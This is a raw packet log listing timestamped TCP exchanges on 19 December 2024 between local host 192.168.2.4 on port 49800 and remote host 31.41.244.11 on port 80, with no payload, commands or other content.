Dec 19, 2024 14:10:33.102142096 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.102201939 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.102277040 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.102431059 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.103136063 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.103153944 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.103204012 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.103691101 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.103754044 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.103769064 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.103858948 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.104490995 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.104620934 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.104681969 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.105318069 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.105375051 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.105434895 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.105519056 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.106242895 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.106261015 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.106312990 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.107067108 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.107114077 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.107141972 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.107208967 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.108040094 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.108098984 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.108144999 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.108741045 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.108881950 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.108966112 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.109558105 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.109666109 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.109684944 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.109802961 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.110372066 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.110428095 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.110487938 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.110563993 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.111251116 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.111310959 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.111366987 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.111426115 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.112099886 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.112152100 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.112195015 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.112916946 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.112998962 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.113059998 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.113166094 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.113826990 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.113926888 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.113943100 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.113970995 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.114625931 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.114727020 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.114748001 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.114778996 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.115539074 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.115606070 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.115663052 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.115710020 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.116307974 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.116388083 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.116446018 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.117185116 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.117274046 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.117279053 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.117321968 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.117955923 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.118001938 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.232239962 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.232357025 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.232484102 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.232666016 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.232738972 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.232774973 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.232872009 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.233470917 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.233532906 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.233597040 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.233736992 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.234271049 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.234380007 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.234591007 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.234708071 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.234764099 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.235455990 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.235512972 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.235537052 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.235644102 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.236140966 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.236325026 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.236438990 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.236917019 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.236990929 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.236996889 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.237097025 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.271953106 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.271969080 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.272063017 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.272146940 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.272203922 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.272212982 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.273096085 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.273180962 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.273228884 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.273298979 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.273817062 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.273919106 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.273977041 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.274702072 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.274772882 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.274846077 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.274902105 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.275492907 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.275572062 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.275634050 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.275710106 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.276387930 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.276531935 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.276591063 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.277187109 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.277240992 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.277299881 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.277367115 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.278014898 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.278089046 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.278203964 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.278285980 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.278893948 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.279017925 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.279028893 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.279088020 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.279699087 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.279758930 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.279828072 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.279895067 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.280531883 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.280571938 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.280661106 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.281372070 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.281443119 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.281503916 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.281725883 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.282205105 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.282249928 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.282310009 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.282350063 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.283066034 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.283123016 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.283198118 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.283298969 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.283931971 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.283996105 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.284054041 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.284111977 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.284770012 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.284809113 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.284868956 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.285559893 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.285624027 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.285686016 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.285753012 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.286410093 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.286468029 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.286529064 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.286576033 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.287270069 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.287311077 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.287336111 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.287374973 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.288104057 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.288161993 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.288239002 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.288961887 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.289164066 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.289169073 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.289226055 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.289778948 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.289838076 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.289937019 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.290008068 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.290676117 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.290734053 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.290811062 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.290854931 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.291562080 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.291610956 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.291636944 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.291718006 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.292423964 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.292464018 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.292529106 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.293365955 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.293443918 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.293495893 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.293584108 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.294173956 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.294239044 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.294286966 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.294429064 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.295048952 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.295089006 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.295101881 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.295130968 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.295711994 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.295763016 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.295768976 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.295819044 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.296560049 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.296581030 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.296636105 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.297349930 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.297390938 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.297410011 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.297446966 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.298192024 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.298254967 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.298305035 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.298361063 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.299001932 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.299062014 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.299190044 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.299242020 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.299837112 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.299897909 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.299959898 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.300071955 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.300693035 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.300817013 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.300873995 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.301582098 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.301637888 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.301688910 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.301762104 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.302385092 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.302479029 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.302526951 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.302580118 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.303389072 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.303407907 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.303464890 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.304172039 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.304256916 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.304342031 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.304913044 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.304980040 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.305048943 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.305094004 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.305726051 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.305814981 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.305851936 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.305938959 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.306575060 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.306658983 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.306711912 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.306776047 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.307591915 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.307657003 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.307739973 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.308459044 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.308478117 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.308542967 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.309267044 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.309287071 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.309335947 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.309375048 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.309953928 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.309993029 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.310054064 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.424530983 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.424607038 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.424617052 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.424659967 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.424948931 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.425003052 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.425065041 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.425118923 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.425796032 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.425856113 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.425911903 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.425960064 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.426697016 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.427045107 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.427059889 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.427078962 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.427123070 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.427764893 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.427824974 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.427846909 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.427865982 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.428628922 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.428647995 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.428684950 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.428705931 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.429449081 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.429511070 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.464358091 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.464381933 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.464421988 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.464457035 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.464667082 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.464720964 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.464786053 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.464878082 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.464884043 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.464930058 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.465648890 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.465718985 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.465796947 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.465852976 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.466469049 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.466526985 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.466602087 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.466660023 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.467374086 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.467441082 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.467515945 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.467619896 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.468178034 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.468282938 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.468283892 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.468333006 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.469022989 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.469077110 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.469125986 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.469188929 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.469841957 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.469919920 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.469964027 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.470024109 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.470695019 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.470747948 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.470808983 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.470876932 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.471523046 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.471606970 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.471647024 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.471702099 CET	49800	80	192.168.2.4	31.41.244.11
